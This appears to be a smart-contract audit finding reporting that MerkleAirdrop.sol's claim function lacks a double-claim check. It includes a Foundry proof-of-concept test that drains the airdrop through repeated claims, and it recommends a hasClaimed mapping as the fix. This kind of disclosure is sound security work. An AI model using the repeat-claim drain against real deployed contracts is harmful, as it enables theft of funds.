Summary
A winner can drain the total amount of the airdrop by calling MerkleAirdrop.sol:claim
as many times as necessary
Vulnerability Details
There is no check to see if the reward has already been claimed.
function testUsersCanDrain() public {
uint256 startingBalance = token.balanceOf(collectorOne);
vm.deal(collectorOne, 4e9);
vm.startPrank(collectorOne);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
airdrop.claim{ value: airdrop.getFee() }(collectorOne, amountToCollect, proof);
vm.stopPrank();
uint256 endingBalance = token.balanceOf(collectorOne);
assertEq(endingBalance - startingBalance, amountToSend);
}
Impact
Winners can drain the MerkleAirdrop contract
Tools Used
Manual review
Recommendations
Use a mapping to check if a winner (account address selectionned) has already withdrawn his winnings
mapping(address => bool) public hasClaimed;
In MerkleAirdrop:claim
add these part
if (hasClaimed[account]) {
revert("MerkleAirdrop__RewardAlreadyClaimed");
}
hasClaimed[account] = true;